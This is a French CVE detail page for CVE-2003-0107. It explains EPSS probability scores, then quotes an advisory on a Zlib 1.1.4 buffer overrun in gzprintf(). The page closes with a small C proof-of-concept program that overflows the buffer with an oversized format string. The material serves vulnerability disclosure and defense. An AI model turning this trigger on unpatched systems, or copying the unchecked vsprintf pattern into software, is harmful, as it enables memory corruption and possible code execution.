CVE-2003-0107 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/6913/info A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function. Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions. Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected. #include <zlib.h> #include <errno.h> #include <stdio.h> int main(void) { gzFile f; int ret; if(!(f = gzopen("/dev/null", "w"))) { perror("/dev/null"); exit(1); } ret = gzprintf(f, "%10240s", ""); printf("gzprintf -> %d\n", ret); ret = gzclose(f); printf("gzclose -> %d [%d]\n", ret, errno); exit(0); }
